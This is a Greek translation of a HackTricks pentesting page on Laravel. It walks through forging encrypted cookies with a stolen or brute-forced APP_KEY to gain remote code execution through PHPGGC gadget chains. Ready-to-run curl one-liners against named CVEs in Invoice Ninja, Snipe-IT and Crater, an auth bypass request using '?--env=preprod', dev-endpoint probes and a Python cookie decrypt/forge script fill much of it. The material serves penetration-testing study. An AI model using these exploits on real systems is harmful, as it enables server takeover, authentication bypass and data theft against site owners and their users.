Laravel

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Laravel SQLInjection

Διαβάστε πληροφορίες σχετικά με αυτό εδώ: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Εσωτερικά κρυπτογράφησης (Laravel \u003e=5.6)

Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με ακεραιότητα HMAC στο παρασκήνιο (Illuminate\\Encryption\\Encrypter). Το ακατέργαστο κρυπτοκείμενο που τελικά αποστέλλεται στον πελάτη είναι Base64 ενός αντικειμένου JSON όπως:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) θα κάνει serialize() το plaintext από προεπιλογή, ενώ decrypt($payload, $unserialize=true) θα κάνει αυτόματα unserialize() την αποκρυπτογραφημένη τιμή. Επομένως οποιοσδήποτε attacker που γνωρίζει το 32-byte secret APP_KEY μπορεί να craft ένα encrypted PHP serialized object και να αποκτήσει RCE μέσω magic methods (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Εισάγετε την παραγόμενη συμβολοσειρά σε οποιοδήποτε ευάλωτο decrypt() sink (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer αυτοματοποιεί όλη τη διαδικασία και προσθέτει μια βολική λειτουργία bruteforce:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Το script υποστηρίζει διαφανώς payloads και για τα CBC και GCM και επαναδημιουργεί το πεδίο HMAC/tag.


Πραγματικά ευπαθή μοτίβα

ΈργοΕυάλωτο sinkΑλυσίδα gadget
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Η ροή εκμετάλλευσης είναι πάντα:

  1. Εξασφαλίστε ή δοκιμάστε με brute-force το 32-byte APP_KEY.
  2. Δημιουργήστε μια αλυσίδα gadget με PHPGGC (π.χ. Laravel/RCE13, Laravel/RCE9 ή Laravel/RCE15).
  3. Κρυπτογραφήστε το σειριοποιημένο gadget με laravel_crypto_killer.py και το ανακτηθέν APP_KEY.
  4. Παραδώστε το ciphertext στον ευάλωτο decrypt() sink (παράμετρος route, cookie, session …) για να προκαλέσετε RCE.

Παρακάτω υπάρχουν συνοπτικά one-liners που δείχνουν ολόκληρη τη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:

bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Επειδή κάθε νέα απάντηση Laravel ορίζει τουλάχιστον ένα κρυπτογραφημένο cookie (XSRF-TOKEN και συνήθως laravel_session), public internet scanners (Shodan, Censys, …) leak εκατομμύρια ciphertexts που μπορούν να παραβιαστούν offline.

Κύρια ευρήματα της έρευνας που δημοσιεύτηκε από Synacktiv (2024-2025):

  • Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

  • Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

Το ιδιωτικό εργαλείο Go nounours ανεβάζει το AES-CBC/GCM bruteforce throughput σε ~1.5 billion tries/s, μειώνοντας το full dataset cracking σε <2 minutes.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Όταν το PHP έχει register_argc_argv=On (τυπικό σε πολλές διανομές), το PHP εκθέτει έναν πίνακα argv για HTTP requests που προέρχεται από το query string. Πρόσφατες εκδόσεις Laravel ανάλυσαν αυτά τα “CLI-like” args και σεβάστηκαν το --env=<value> κατά το runtime. Αυτό επιτρέπει την αλλαγή του framework environment για το τρέχον HTTP request απλώς προσθέτοντάς το σε οποιοδήποτε URL:

  • Quick check:

  • Visit https://target/?--env=local ή οποιοδήποτε string και ψάξτε για αλλαγές εξαρτώμενες από το environment (debug banners, footers, verbose errors). Αν το string γίνεται reflected, το override λειτουργεί.

  • Impact example (business logic trusting a special env):

  • Αν η εφαρμογή περιέχει διακλαδώσεις όπως if (app()->environment('preprod')) { /* bypass auth */ }, μπορείτε να αυθεντικοποιηθείτε χωρίς έγκυρα creds στέλνοντας το login POST στο:

  • POST /login?--env=preprod

  • Notes:

  • Λειτουργεί ανά αίτημα, χωρίς μόνιμη αλλαγή.

  • Απαιτεί register_argc_argv=On και μια ευάλωτη έκδοση Laravel που διαβάζει argv για HTTP.

  • Χρήσιμο primitive για να εμφανίσετε πιο verbose errors σε “debug” envs ή για να ενεργοποιήσετε code paths που ελέγχονται από το environment.

  • Mitigations:

  • Απενεργοποιήστε το register_argc_argv για PHP-FPM/Apache.

  • Αναβαθμίστε το Laravel ώστε να αγνοεί argv σε HTTP requests και αφαιρέστε οποιεσδήποτε υποθέσεις εμπιστοσύνης συνδεδεμένες με app()->environment() σε production routes.

Minimal exploitation flow (Burp):

http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Laravel Κόλπα

Debugging mode

Αν το Laravel είναι σε debugging mode θα μπορείτε να αποκτήσετε πρόσβαση στον code και σε sensitive data.
Για παράδειγμα http://127.0.0.1:8000/profiles:

Αυτό συνήθως χρειάζεται για exploiting άλλων Laravel RCE CVEs.

Fingerprinting & exposed dev endpoints

Γρήγοροι έλεγχοι για να αναγνωρίσετε ένα Laravel stack και επικίνδυνα dev tooling εκτεθειμένα σε production:

  • /_ignition/health-check → Ignition παρόν (debug tool used by CVE-2021-3129). Αν είναι προσβάσιμο χωρίς authentication, η εφαρμογή μπορεί να βρίσκεται σε debug ή να είναι misconfigured.
  • /_debugbar → Laravel Debugbar assets; συχνά υποδηλώνει debug mode.
  • /telescope → Laravel Telescope (dev monitor). Αν είναι δημόσιο, αναμένετε ευρεία information disclosure και πιθανές ενέργειες.
  • /horizon → Queue dashboard; version disclosure και μερικές φορές ενέργειες προστατευμένες με CSRF.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, και οι σελίδες σφαλμάτων Blade επίσης βοηθούν στο fingerprint.
bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα credentials μέσα σε ένα αρχείο που ονομάζεται .env το οποίο μπορεί να προσεγγιστεί χρησιμοποιώντας κάποια path traversal στο: /../.env

Το Laravel θα εμφανίσει επίσης αυτές τις πληροφορίες στη σελίδα debug (που εμφανίζεται όταν το Laravel βρίσκει σφάλμα και είναι ενεργοποιημένο).

Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να decrypt και να re-encrypt τα cookies:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Εδώ μπορείτε να βρείτε πληροφορίες για την deserialization vulnerability: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας https://github.com/kozmic/laravel-poc-CVE-2018-15133
Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Άλλη deserialization: https://github.com/ambionics/laravel-exploits

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks